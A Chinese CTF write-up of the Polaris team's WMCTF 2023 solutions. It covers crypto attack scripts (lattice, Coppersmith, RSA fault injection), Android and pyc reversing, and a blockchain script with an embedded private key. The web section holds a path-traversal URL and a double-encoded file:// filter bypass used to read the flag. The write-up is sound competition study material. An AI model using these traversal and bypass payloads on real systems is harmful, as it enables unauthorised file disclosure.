本次 WMCTF 2023,我们Polaris战队排名第9。
排名 | 队伍 | 总分 |
---|---|---|
1 | 天枢Dubhe | 11948 |
2 | LaoGong | 10020 |
3 | W4ntY0u | 9468 |
4 | L | 8932 |
5 | 0RAYS | 7444 |
6 | Nepnep | 7420 |
7 | r4kapig | 7314 |
8 | Doub1e-S | 7194 |
9 | Polaris | 6724 |
10 | SU-Team | 6554 |
Crypto
signin
- 深度搜索+剪枝恢复p
- 格
import gmpy2
from Pwn4Sage.pwn import *
from Crypto.Util.number import *
from factordb.factordb import FactorDB
sys.setrecursionlimit(5000)
def findp(p, q):
global PP
if len(p) == 512:
pp = int(p, 2)
if N % pp == 0:
PP = pp
print(pp)
print(N // pp)
raise
else:
l = len(p)
pp = int(p, 2)
qq = int(q, 2)
if (pp ^^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
findp('1' + p, '1' + q)
findp('1' + p, '0' + q)
findp('0' + p, '1' + q)
findp('0' + p, '0' + q)
while True:
sh = remote('1.13.101.243', 26040)
sh.recvuntil(b""".`^","^`'.""")
sh.recvline()
sh.recvline()
N = int(sh.recvline())
gift = int(sh.recvline())
print(N)
print(gift)
PP = 0
for q_low in range(2**16+1, 2 ** 17):
try:
findp('1', bin(q_low)[2:])
except:
break
p = PP
if p:
print('find p: ', p)
sh.sendline(str(p).encode())
q = p
A = eval(sh.recvline())
b = eval(sh.recvline())
print(A)
print(b)
LEN = len(b)
M = matrix(LEN+2, LEN+2)
INV = inverse_mod(2^16, q)
AA = [(i*INV)%q for i in A]
BB = [(i*INV)%q for i in b]
for i in range(LEN):
M[0, i+2] = AA[i]
M[1, i+2] = BB[i]
M[i+2, i+2] = q
M[0, 0] = 1
M[1, 1] = 2^511
t = 16
Q = diagonal_matrix([1,2^17]+[2^t for _ in range(LEN)])
M_ = M*Q
M_ = M_.LLL()
M_ = M_/Q
for line in M_:
if abs(line[1]) == 2^511:
m = abs(line[0])
results = [(bi * m) % q for bi in A]
rs = [ri & (2 ** 16 - 1) for ri in results]
print(rs)
print(m)
if rs == b:
print('yes')
print('yes')
print('yes')
print(m)
sh.sendline(str(m).encode())
sh.interactive() # wmctf{we1c0me_brOo0Oo!hope_y0u_h4v3_fun_iN_the_fTcmWWmcTf/}
welcomesigner2
- 从后往前递推,利用每次$A_i \mod n$与 $A_i \mod n_$ 是否一致来逐位确定d
因为不知道d长度,所以需要猜。故脚本需要多次运行,才可能得解
import gmpy2
from pwn import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
sh = remote("1.13.101.243", 27812)
sh.sendlineafter(b'[Q]uit', b'g')
n = int(sh.recvline_contains(b'n =').split(b'n = ')[-1])
enc = sh.recvline_contains(b'flag_ciphertext =').split(b'flag_ciphertext =')[-1]
print(enc)
enc = bytes.fromhex(enc.decode())
sh.sendlineafter(b'[Q]uit', b's')
sh.sendlineafter(b'Where your want to interfere:', b'1')
sig = int(sh.recvline().split(b'is ')[-1])
def find_prime_n_(n):
for index in range(1024):
for temp in range(256):
assert 0<= int(temp) <=255
assert 0<= int(index) <= 1023
n_ = n ^ (int(temp)<<int(index))
if gmpy2.is_prime(n_) and n_ > n:
b_i = f"{temp},{index}"
print('[+] find prime n_')
print(b_i)
return b_i
b_i = find_prime_n_(n)
sh.sendlineafter(b'[Q]uit', b'f')
sh.sendlineafter(b'bytes, and index:', b_i.encode())
n_ = int(sh.recvline().split(b'"')[1])
d = '1'
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
BS = [msg]
d_len = 1022
for i in range(d_len-1):
BS.append(BS[-1]**2 % n)
for index in range(2, d_len):
sh.sendlineafter(b'[Q]uit', b's')
sh.sendlineafter(b'Where your want to interfere:', str(index).encode())
A = sig
tmp_A = int(sh.recvline().split(b'is ')[-1])
tmp_BS = [_ for _ in BS[:d_len-index]]
for _ in range(index):
tmp_BS.append(tmp_BS[-1]**2%n_)
assert len(tmp_BS) == d_len
for i in range(len(d)):
if int(d[i]):
tmp_A = (tmp_A * gmpy2.invert(tmp_BS[d_len-1-i], n_)) % n_
A = (A * gmpy2.invert(BS[d_len-1 - i], n)) % n
d += str(int(A != tmp_A))
print('[+] d =', d)
d最低位为1
from hashlib import md5
from Crypto.Cipher import AES
def decrypt(enc,key):
key = bytes.fromhex(md5(str(key).encode()).hexdigest())
dec = AES.new(key,mode=AES.MODE_ECB)
m = dec.decrypt(enc)
return m
enc = ' 11964df59bb0dcf71595524dc0808dd6774d105c36c6a7b7fb6086c60c98a7cc8b5d10f2b81e7ea07d622a4b38af800d'
enc = bytes.fromhex(enc)
d = '1111101010101101001100010011000101011110110111010000011100001001100011111000010001010111010000101110011111000111000001000100010111111011000111111011000010110101011100101011110111000111111100011110010011111100100100111011001110011011011010000100110000010111101010010101110001001000000011001100111111110100011001100010101011111001001000101000001010101011100100010000011000000011001100111100001010110110101010000011100001011010000110110101101001011011100001000000110100101111101001000010011010111111000011101001110111010110110001001011000101001000111101011101100010000101010100010011010101111111111100100110000111110100001000000010111011000001000010001111000100011110111101101010001010101010101001100000000110110100110110010101111010011011010111000111101001001100001111000011100110000000001100011010100101000100101110100110101001011100101001101011110000001111010101001100001011100000111101001000100110110011001101010001001100011101101001011011001101001010101001011001001111011001011010100111111110110011111001010101101000000'
print(decrypt(enc, int(d+'1', 2))) # WMCTF{F4u1t_1nj3ct1on_1n_RS4*&iu2726457}
badprime
根据题目信息将M输入进去,输进去后可以获得p_leak
p=p_leak+k*M
经过观察可以发现,k_bit非常小,可以通过一元copper进行攻击
# @File : exp.py
M=
p_leak=
c=
n=
P.<k>=PolynomialRing(Zmod(n))
f=x+k*M
k=f.monic().small_roots(X=2**54,beta=0.4)[0]
p=k*M+p_leak
q=n//ZZ(p)
e=65537
d=inverse_mod(e,(p-1)*(q-1))
m=hex(pow(c,d,n))[2:]
print(bytes.fromhex(m))
welcome_signer1
中国剩余定理的运用
代码跑的很久,得跑几十分钟
from pwn import *
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from tqdm import *
def le(c,p):
t=pow(c,(p-1)//2,p)
if t==1:
return True
else:return False
def quadratic_residues(_c, _p):
return pow(_c, (_p + 1) // 4, _p)
def find_prime_n_(n):
for index in range(1024):
for temp in range(256):
assert 0<= int(temp) <=255
assert 0<= int(index) <= 1023
n_ = n ^ (int(temp)<<int(index))
if gmpy2.is_prime(n_) and n_ > n and n_%4==3:
b_i = f"{temp},{index}"
print('[+] find prime n_')
print(b_i)
return b_i
def chinese_remainder(n, a):#前面是模
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * gmpy2.invert(p, n_i) * p
return int(sum % prod)
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
def solve(A,A1,n,n1,d):
for i in range(len(d)):
if d[i]=='1':
A1 = A1 * msgn1 % n1
A1=quadratic_residues(A1,n1)
if le(A1,n1)==False:A1=n-A1
A1_=A1*msgn1%n1
A_ = A * msgn % n
A2=chinese_remainder([n,n1],[A_,A1_])
for i in range(12):
tmp=gmpy2.iroot(A2+i*n*n1,2)
if tmp[1]==True:
A=tmp[0]
return A,d+'1'
A2=chinese_remainder([n,n1],[A,A1])
for i in range(12):
tmp=gmpy2.iroot(A2+i*n*n1,2)
if tmp[1]==True:
A=tmp[0]
return A,d+'0'
r=remote("1.13.101.243",25333)
r.recvuntil(b"| [Q]uit\n")
r.sendline(b"g")
N=eval(r.recvline()[6:].strip().decode())
print(N.bit_length())
enc_flag=r.recvline()[20:].strip().decode()
b_=find_prime_n_(N)
r.recvuntil(b"| [Q]uit\n")
r.sendline(b"s")
r.sendlineafter(b"Where your want to interfere:",b'0')
A=eval(r.recvline()[42:].strip().decode())
print("A获取完成")
r.recvuntil(b"| [Q]uit\n")
r.sendline(b"f")
r.sendlineafter(b"bytes, and index:",b_.encode())
N_=eval(r.recvline()[21:].strip().decode()[:-1])
msgn1=inverse(msg, N_)
msgn=inverse(msg, N)
assert isPrime(N_)
print("前序工作完成")
d=''
for i in trange(0,1023):
r.recvuntil(b"| [Q]uit\n")
r.sendline(b"s")
index=i+1
r.sendlineafter(b"Where your want to interfere:",str(index).encode())
A1=eval(r.recvline()[42:].strip().decode())
A,d=solve(A,A1,N,N_,d)
if i>1000:
print(d)
print(enc_flag)
r.interactive()
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
import itertools
def decrypt(message,key):
key = bytes.fromhex(md5(str(key).encode()).hexdigest())
enc = AES.new(key,mode=AES.MODE_ECB)
c = enc.decrypt(message)
return c
d=''
key=int(d[::-1],2)
m=bytes.fromhex("")
flag=decrypt(m,key)
print(flag)
Web
AnyFileRead
import requests
r = requests.get(url="http://43.132.224.5:8888/admin/.//%2e./%2e./flag")
print(r.text)
ez_java_agagin
进入页面
啥功能都没,扫也没扫出来什么
查看源码
两个url参数,第一个url只能读图片,第二个没有java后缀或者有flag这个字符均会被过滤
最后是使用伪协议直接读,二次编码绕过过滤
?url1=file:///fla%2567%23java
(file协议居然还能读目录)
BlockChain
babyblock
remix测试一下,发现要猜的数字很小,而且很容易就猜对,但是禁用了metamask
让gpt生成一个脚本直接打
from web3 import Web3
# 连接到以太坊节点的 RPC URL
rpc_url = "http://43.132.224.5:8545/" # 替换为实际的 RPC URL
web3 = Web3(Web3.HTTPProvider(rpc_url))
# 合约地址和 ABI
contract_address = "0x62c35b7c06606928d6fF716C3D21C07D75617FA8" # 替换为实际的合约地址
contract_abi ="""
[
{
"inputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"constant": false,
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "guessNumber",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "secretNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "solved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]
"""
# 获取合约实例
contract = web3.eth.contract(address=contract_address, abi=contract_abi)
# 调用合约的 guessNumber 方法
num_to_guess = 6 # 替换为你想要猜测的数字
transaction = contract.functions.guessNumber(num_to_guess).buildTransaction({
'nonce':1,
'from': '0xceb32Ad69ed0C565FEac192DfcAAfCd67279360e', # 替换为你自己的以太坊账户地址
'gas': 200000, # 替换为适当的 gas 数量
'gasPrice': web3.toWei('1000000007', 'wei') # 替换为适当的 gas 价格
})
# 签名交易
private_key = "7078eb49a5672f7b5b7826124292879477981fe6787001553aab40e00370fee4" # 替换为你自己的以太坊账户私钥
signed_txn = web3.eth.account.signTransaction(transaction, private_key)
# 发送签名后的交易并获取交易哈希
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
# 检查交易是否成功被确认
if tx_receipt['status'] == 1:
print("Transaction successful!")
else:
print("Transaction failed.")
RE
ezAndroid
安卓逆向
分别有两个naticve函数 为checkusername 和 checkpassword
两个native函数在JNIload中动态注册的 并且所有相关的字符串都是动态解密的 所以静态分析看不到有用的信息 同时在init函数组中有一个检测frida的操作
检测name是一个RC4加密
而checkpassword函数的是一个AES加密 但是S盒在动态运行的时候发生了修改
分析完毕后逆向即可
#name
cin = [ 0x6E, 0x61, 0x6D, 0x65, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]
out=[ 0xD5, 0x93, 0x56, 0xB2, 0x3C, 0x86, 0xEB, 0x94, 0xCD, 0x0C, ]
enc=[ 0xE9, 0x97, 0x64, 0xE6, 0x7E, 0xEB, 0xBD, 0xC1, 0xAB, 0x43]
for i,j,k in zip(cin,out,enc):
print(chr(i^j^k),end='')
#Re_1s_eaSy
from Crypto.Cipher import AES
sbox=[
0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,
0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,
0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,
0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,
0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,
0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,
0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,
0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,
0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,
0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,
0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,
0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,
0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,
0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,
0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,
0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
]
key =b"Re_1s_eaSy123456"
for i in key:
print(i,end=',')
print()
real = bytes.fromhex("2B C8 20 8B 5C 0D A7 9B 2A 51 3A D2 71 71 CA 50")
for i in real:
print(i,end=',')
print()
def generate_inverse_s_box(s_box):
inverse_s_box = [0] * 256
for i in range(len(s_box)):
inverse_s_box[s_box[i]] = i
return inverse_s_box
iev = generate_inverse_s_box(sbox)
print(iev)
for i in iev:
print(hex(i),end=',')
"_eZ_Rc4_@nd_AES!"
AES解密
#include<stdio.h>
#include<string.h>
#include<time.h>
#include<windows.h>
#define Nb 4 //数据块行数
#define Nk 4 //密码块行数
#define Nr 10 //轮加密次数
unsigned char RoundKey[4*Nb*(Nr+1)]; //轮密钥
unsigned char Key[17]; //密钥
unsigned char state[4][4]; //明文加密状态
//实际上只需要用Rocn[1-10]
int Rcon[255] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb
};
//s盒
int SBOX[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,
0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,
0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,
0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,
0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,
0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,
0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,
0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,
0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,
0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,
0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,
0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,
0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,
0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,
0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,
0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
};
//逆s盒
int R_SBOX[256] ={
0x41,0xe8,0x8f,0x36,0xdd,0x84,0x2b,0xd2,0x79,0x20,0xc7,0x6e,0x15,0xbc,0x63,0xa,0xb1,0x58,0xff,0xa6,0x4d,0xf4,0x9b,0x42,0xe9,0x90,0x37,0xde,0x85,0x2c,0xd3,0x7a,0x21,0xc8,0x6f,0x16,0xbd,0x64,0xb,0xb2,0x59,0x0,0xa7,0x4e,0xf5,0x9c,0x43,0xea,0x91,0x38,0xdf,0x86,0x2d,0xd4,0x7b,0x22,0xc9,0x70,0x17,0xbe,0x65,0xc,0xb3,0x5a,0x1,0xa8,0x4f,0xf6,0x9d,0x44,0xeb,0x92,0x39,0xe0,0x87,0x2e,0xd5,0x7c,0x23,0xca,0x71,0x18,0xbf,0x66,0xd,0xb4,0x5b,0x2,0xa9,0x50,0xf7,0x9e,0x45,0xec,0x93,0x3a,0xe1,0x88,0x2f,0xd6,0x7d,0x24,0xcb,0x72,0x19,0xc0,0x67,0xe,0xb5,0x5c,0x3,0xaa,0x51,0xf8,0x9f,0x46,0xed,0x94,0x3b,0xe2,0x89,0x30,0xd7,0x7e,0x25,0xcc,0x73,0x1a,0xc1,0x68,0xf,0xb6,0x5d,0x4,0xab,0x52,0xf9,0xa0,0x47,0xee,0x95,0x3c,0xe3,0x8a,0x31,0xd8,0x7f,0x26,0xcd,0x74,0x1b,0xc2,0x69,0x10,0xb7,0x5e,0x5,0xac,0x53,0xfa,0xa1,0x48,0xef,0x96,0x3d,0xe4,0x8b,0x32,0xd9,0x80,0x27,0xce,0x75,0x1c,0xc3,0x6a,0x11,0xb8,0x5f,0x6,0xad,0x54,0xfb,0xa2,0x49,0xf0,0x97,0x3e,0xe5,0x8c,0x33,0xda,0x81,0x28,0xcf,0x76,0x1d,0xc4,0x6b,0x12,0xb9,0x60,0x7,0xae,0x55,0xfc,0xa3,0x4a,0xf1,0x98,0x3f,0xe6,0x8d,0x34,0xdb,0x82,0x29,0xd0,0x77,0x1e,0xc5,0x6c,0x13,0xba,0x61,0x8,0xaf,0x56,0xfd,0xa4,0x4b,0xf2,0x99,0x40,0xe7,0x8e,0x35,0xdc,0x83,0x2a,0xd1,0x78,0x1f,0xc6,0x6d,0x14,0xbb,0x62,0x9,0xb0,0x57,0xfe,0xa5,0x4c,0xf3,0x9a
};
//在一行上进位移
void rotWord(unsigned char temp[]) {
int i,k=temp[0];
for(i=1;i<4;i++)
temp[i-1]=temp[i];
temp[3]=k;
}
//在一行上进行s盒替换
void subWord(unsigned char temp[]) {
int i;
for(i=0;i<4;i++)
temp[i]=SBOX[temp[i]];
}
//密钥扩展,最终得到Nr+1个轮密钥,用于轮次加密
void keyExpansion(){
int i,j;
unsigned char temp[5];
memset(RoundKey,0,sizeof(RoundKey));
for(i=0;i<Nk;i++){
for(j=0;j<4;j++){
RoundKey[i*4+j]=Key[i*4+j];
}
}
while(i<(Nb*(Nr+1))){
for(j=0;j<4;j++){
temp[j]=RoundKey[(i-1)*4+j];
}
if(i%Nk==0){
rotWord(temp);
subWord(temp);
temp[0]^=Rcon[i/Nk];
}
for(j=0;j<4;j++)
RoundKey[i*4+j]=RoundKey[(i-Nk)*4+j]^temp[j];
i++;
}
}
//轮密钥加函数,将明文加密状态与轮密钥简单异或
void addRoundKey(int round){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]^=RoundKey[round*Nb*4+i*Nb+j];
}
}
}
//s盒替换函数
void subBytes(){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]=SBOX[state[i][j]];
}
}
}
//逆s盒替换函数
void invSubBytes(){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]=R_SBOX[state[i][j]];
}
}
}
//行位移函数
void shiftRows(){
int i,j,k;
int shiftnum=1;
unsigned char tmp;
for(j=1;j<4;j++){
for(i=0;i<shiftnum;i++){
tmp=state[0][j];
for(k=0;k<3;k++)
state[k][j]=state[k+1][j];
state[3][j]=tmp;
}
shiftnum++;
}
}
//逆行位移函数
void invShiftRows(){
int i,j,k;
int shiftnum=1;
unsigned char tmp;
for(j=1;j<4;j++){
for(i=0;i<shiftnum;i++){
tmp=state[3][j];
for(k=3;k>0;k--)
state[k][j]=state[k-1][j];
state[0][j]=tmp;
}
shiftnum++;
}
}
//列混淆函数
#define xtime(x) ((x<<1) ^ (((x>>7) & 1) * 0x1b))
void mixColumns(){
int i,j;
unsigned char tmp,t,p;
for(i=0;i<4;i++){
p=state[i][0];
tmp=state[i][0]^state[i][1]^state[i][2]^state[i][3];
for(j=0;j<3;j++){
t=state[i][j]^state[i][j+1];
t=xtime(t);
state[i][j]^=t^tmp;
}
t=state[i][3]^p;t=xtime(t);state[i][3]^=t^tmp;
}
}
//逆列混淆函数
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))
void invMixColumns(){
int i;
unsigned char a,b,c,d;
for( i=0; i<4; i++)
{
a = state[i][0];
b = state[i][1];
c = state[i][2];
d = state[i][3];
state[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
state[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
//aes加密函数,key为密钥,input为需要加密的128位明文,output为输出128位密文
void aes_enc(unsigned char*key,unsigned char *input,unsigned char*output){
int i,j,round=0;
memset(Key,0,sizeof(Key));
for(i=0;i<Nk*4;i++){
Key[i]=key[i];
}
keyExpansion();
memset(state,0,sizeof(state));
for(i=0;i<4;i++){
for(j=0;j<4;j++)
state[i][j]=input[i*4+j];
}
addRoundKey(0);
for(round=1;round<Nr;round++){
subBytes();
shiftRows();
mixColumns();
addRoundKey(round);
}
subBytes();
shiftRows();
addRoundKey(Nr);
for(i=0;i<4;i++){
for(j=0;j<4;j++)
output[i*4+j]=state[i][j];
}
}
//aes解密函数,key为密钥,input为需要解密的128位密文,output为输出128位明文
void aes_dec(unsigned char*key,unsigned char*input,unsigned char*output){
int i,j,round=0;
memset(Key,0,sizeof(Key));
for(i=0;i<Nk*4;i++){
Key[i]=key[i];
}
keyExpansion();
memset(state,0,sizeof(state));
for(i=0;i<4;i++){
for(j=0;j<4;j++)
state[i][j]=input[i*4+j];
}
addRoundKey(Nr);
for(round=Nr-1;round>0;round--){
invSubBytes();
invShiftRows();
addRoundKey(round);
invMixColumns();
}
invSubBytes();
invShiftRows();
addRoundKey(0);
for(i=0;i<4;i++){
for(j=0;j<4;j++)
output[i*4+j]=state[i][j];
}
}
void gets_t(unsigned char*str){
char fin_input;
scanf("%66s",str);
do
fin_input=getchar();
while(fin_input!='\n');
}
int main(){
unsigned char key[17]={82,101,95,49,115,95,101,97,83,121,49,50,51,52,53,54};
unsigned char input[17]="1111222233334444";
unsigned char enc[17]={43,200,32,139,92,13,167,155,42,81,58,210,113,113,202,80,};
unsigned char dec[17]={0};
printf("enc-----\n");
//aes_enc(key,input,enc);
for(int i=0;i<16;i++)
{
// printf("0x%x,",enc[i]);
}
printf("dec-----\n");
aes_dec(key,enc,dec);
for(int i=0;i<16;i++)
{
printf("%c",dec[i]);
}
return 0;
}
RightBack
python代码中有很多的花指令 但是都是同一种形式的 写个脚本替换为NOP指令就可以
fd = open("RightBack.pyc","rb").read()
indexs = []
buf = bytearray(fd)
search_pattern = b'\x6e\x00\x6e\x04'
index = fd.find(search_pattern)
while index != -1:
#print("Found at index:", index)
indexs.append(index)
index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
buf[i:i+8] = bytes([9,0,9,0,9,0,9,0])
search_pattern = b'\x6e\x02'
